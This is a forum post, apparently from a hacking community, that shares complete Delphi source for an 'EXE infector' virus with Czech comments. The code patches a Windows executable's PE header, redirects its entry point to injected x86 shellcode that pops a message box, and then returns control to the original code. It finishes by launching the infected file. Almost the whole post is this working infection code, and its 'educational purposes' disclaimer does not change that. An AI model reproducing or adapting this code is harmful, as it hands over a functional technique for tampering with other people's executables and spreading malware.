• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Delphi [DELPHI]Virus EXE infector - Example, by DjH

Status
Not open for further replies.

Nax

Leech
User
Joined
Oct 18, 2011
Messages
275
Reputation
0
Reaction score
115
Points
43
Credits
0
‎13 Years of Service‎
92%
Virus EXE infector - Example, by DjH

Code:
>program Virus;

{$APPTYPE CONSOLE}

uses
 Windows, Messages, SysUtils;

var
 mWnd:                 HWnd;
 FileName:             string;

//procedura:          Infect
//vstupni hodnoty:    nazev souboru, urceni k infikovani
//popis:              infikuje zadany soubor
procedure Infect(FlName:string);
const
 NoOfLibs = 3;
var
 iFileHandle:        Integer;                        //Handle souboru
 iFileLength:        Integer;                        //delka nacteneho souboru
 Buffer:             PChar;                          //buffer
 AddressOfOep:       Integer;                        //adresa, kde je hodnota OEP (entry point)
 BuffLen, i, OEP:    Integer;                        //delka bufferu; pomocny integer; Entry Point
 FuncPtr:            array[0..NoOfLibs] of Pointer;  //pointer, kde se nachazi hledana fce
 LibHandle:          array[0..NoOfLibs] of Integer;  //handle nahranych knihoven; OEP
begin
//inicializace hodnot
 WriteLn('Initializing variables...');
 AddressOfOep  := 0;
 Buffer        := '';
 WriteLn('Opening file...');
 iFileHandle   := FileOpen(FlName, fmOpenReadWrite);   //otevreni souboru
 if(iFileHandle <> -1) then begin                      //pokud soubor nejde otevrit
   WriteLn('File successfully opened as handle "',iFileHandle,'"');
   iFileLength   := FileSeek(iFileHandle, 0, 2);       //delka souboru
   WriteLn('Checking the magic bytes 10Bh');
   while(buffer <> #11#1)do begin                      //dokud nenarazime na tyto bajty (znaci EXE pro platformu 386), tak nacitej bajty
     FileSeek(iFileHandle, AddressOfOep,0);            //posuneme ukazatel v souboru
     Buffer := PChar(AllocMem(iFileLength + 1));       //alokujeme pamet (vyplnime #00)
     FileRead(iFileHandle, Buffer^, 2);                //do bufferu dalsi dva bajty
     inc(AddressOfOep);                                //AddressOfEop += 1;, posuneme ukazatel

     if(AddressOfOep > iFileLength)then begin          //pokud jsme projeli cely soubor a nenarazili na bajty #11#1, ukoncime proceduru Infect
       WriteLn('Magic bytes not found, exiting...');
       ReadLn;
       Exit;                                           //ukoncime proceduru
     end;

   end;
   WriteLn('Checking address of Entry Point...');
   AddressOfOep  := AddressOfOep + 15;                 //o 16 bajtu dal je hodnota, kde je Entry point
   WriteLn('Checked... Address of OEP = "', IntToHex(AddressOfOep,8), 'h"');
   WriteLn('Seeking Addres of OEP...');
   FileSeek(iFileHandle, AddressOfOep, 0);             //najedeme tam ukazatelem
   Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
   WriteLn('Loading value into buffer...');
   FileRead(iFileHandle, Buffer^, 4);                  //a nacteme do nej hodnotu OEP

 //OEP
 //Tady toto se mi nepodarilo zprehlednit, omluvte tento radek prosim =)
 //Aspon trochu popisu co se zde deje:
 //radek z bufferu odzadu (kvuli little endian) sesklada string, z ordinalnich hodnot znaku,
 //ktere se navic predelaji do hexadecimalni soustavy.
 //znak na zacatku '$' znamena, ze StrToInt bude pracovat s cislem v 16tkove soustave
   OEP            := strtoint('$'+inttohex(ord(buffer[3]),2)+inttohex(ord(buffer[2]),2)+inttohex(ord(buffer[1]),2)+inttohex(ord(buffer[0]),2));
   WriteLn('OEP found! OEP = "', IntToHex(OEP,8), 'h"');
   WriteLn('Freeing FuncPtr[] variable (array)');
 //uvolnime pamet
 for i:=0 to NoOfLibs do begin
   FuncPtr[i]    := nil;
 end;
   WriteLn('Checking address of API "MessageBoxA"...');
 //zjistime adresu volani MessageBoxA
   LibHandle[0]  := LoadLibrary('user32.dll');
   FuncPtr[0]    := GetProcAddress(LibHandle[0], 'MessageBoxA');

   WriteLn('Checking address of API "Sleep"...');
 //zjistime adresu volani Sleep
   LibHandle[2]  := LoadLibrary('kernel32.dll');
   FuncPtr[2]    := GetProcAddress(LibHandle[2], 'Sleep');
 
 (*  mozna vas zajima, proc pisu FuncPtr[0] a pak [2] a ne [1]. Je to proto,
     ze ukoncovaci znak je #00, a proto musime nechat jedno misto v arrayi
     volne, jinak by nam vzniklo neco, co bychom nechteli... Kdybyste chteli
     zjistit adres vice, musite vzdy vynechat mezi polemi jedno pole volne
     (vcetne konecneho pole, tedy pokud mame pole dve, bude to vypadat asi takto:
     [0]-udaj
     [1]-00h
     [2]-udaj
     [3]-00h
     Taky nezapomente zmenit velikost arraye ve "var", array[0..X] of ... *)
     WriteLn('Rewriting OEP to 400370h...');
 //prepiseme OEP na 400370h
     FileSeek(iFileHandle, AddressOfOep, 0);             //najedeme tam ukazatelem
     Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
     Buffer        := #$70#$03;
     FileWrite(iFileHandle, Buffer^, 4);                 //a nacteme do nej hodnotu OEP
     WriteLn('Rewrited...');

     WriteLn('Rewriting Base of Code to 370h...');
 //prepiseme Base of Code na F70h, aby jsme mohli provadet instrukce na na adrese mensi nez 1000h (tedy F70h)
     FileSeek(iFileHandle, AddressOfOep+4, 0);           //najedeme ukazatelem na Base of Code (4 bajty od [AddressOfOep])
     Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
     Buffer        := #$70#$03;
     FileWrite(iFileHandle, Buffer^, 4);                 //a nacteme do nej hodnotu OEP

     WriteLn('Rewrited...');
     WriteLn('Computing last OEP...');
     OEP           := OEP + $400000;                     //vypocitame puvodni Entry Point
     WriteLn('Last OEP was "', IntToHex(OEP,8), 'h"');
     WriteLn('Seeking at 370h...');

   FileSeek(iFileHandle,$370,0);

WriteLn('Getting values to buffer...');

   buffer := pchar(
 (* 400370 *)   #$60                     //  pusha
 (* 400371 *)  +#$6A#$00                 //  push 0
 (* 400373 *)  +#$68                     //  push...
 (* 400374 *)  +#$99#$03#$40#$00         //    ";p"
 (* 400378 *)  +#$68                     //  push
 (* 400379 *)  +#$9C#$03#$40#$00         //    "[This file is shit]"
 (* 40037D *)  +#$6A#$00                 //  push 0
 (* 40037F *)  +#$B8                     // mov eax, MessageBoxA
 (* 400380 *)  +pchar(@FuncPtr[0])       // (4 bajty)
 (* 400384 *)  +#$FF#$D0                 // call eax
 (* 400386 *)  +#$68#$E8#$03#$00#$00     //  push 3e8 (1000 ms)
 (* 40038B *)  +#$B8                     // mov eax, Sleep
 (* 40038C *)  +pchar(@FuncPtr[2])       // (4 bajty)
 (* 400390 *)  +#$FF#$D0                 // call eax
 (* 400392 *)  +#$61                     // POPA
 (* 400393 *)  +#$68                     // push minuly_OEP
 (* 400397 *)  +pchar(@oep)[0]+pchar(@oep)[1]+pchar(@oep)[2]+pchar(@oep)[3]    //4 bajty, tuto radku taky prosim omluvte, jedna se opet o praci s promennou OEP. Pokud vite jak setrneji zjistit OEP, a na tento radek ho pridat, reknete mi =)
 (* 400398 *)  +#$C3                     //ret
 (*/[DATA]\*)////////////////////////////////
 (* 400399 *)  +';p'+#$00                  //ASCII ";p"   (3 bajty)
 (* 40039C *)  +'[This file is shit]'+#$00 //ASCII "[This file is shit]" (21 bajtu)
   );
   WriteLn('Setting BuffLen...');
   BuffLen       := 65; //velikost bufferu ((39Ch+21d)-370h) = 65d

   WriteLn('WRITING THE VIRUS...');
   FileWrite(iFileHandle, Buffer^, BuffLen);
   WriteLn('Closing the file (handle = "', iFileHandle, '")');
   FileClose(iFileHandle);
   WriteLn('File closed...');
 end else begin
   WriteLn('Unable to open the file!');
   ReadLn;
 end;
end;
//##########################################################################\\
begin
 WriteLn('Virus EXE infector - Example, by DjH');
 WriteLn('WARNING: This program is only for educational purposes!!!');
 WriteLn('---------------------------------------------------------');
 WriteLn('Progress:');
 WriteLn('Starting...');
 WriteLn('Please write path to exe file, which will be infected...');
 ReadLn(FileName);                                                   //cekej na uzivatelsky vstup
 WriteLn('Selected file: "',ExtractFileName(FileName),'"');
 WriteLn('Creating backup as ', FileName+' - Backup.exe');
 CopyFile(pchar(FileName),pchar(FileName+' - Backup.exe'),true);     //vytvor zalohu souboru
 WriteLn('Infecting...');
 Infect(FileName);                                                   //zavolej proceduru Infect, jako parametr je udan uzivatelsky vstup
 WriteLn('---------------------------------------------------------');
 WriteLn('Press [ENTER] to run an infected file...');
 ReadLn;
 WinExec(pchar(FileName),SW_SHOW);                                   //pockej na [enter]
 WriteLn('Press [ENTER] to exit...');                                //spust soubor
 ReadLn;                                                             //pockej na klavesu
 ExitProcess(0);                                                     //ukonci vir...
end.
 
Status
Not open for further replies.
Back
Top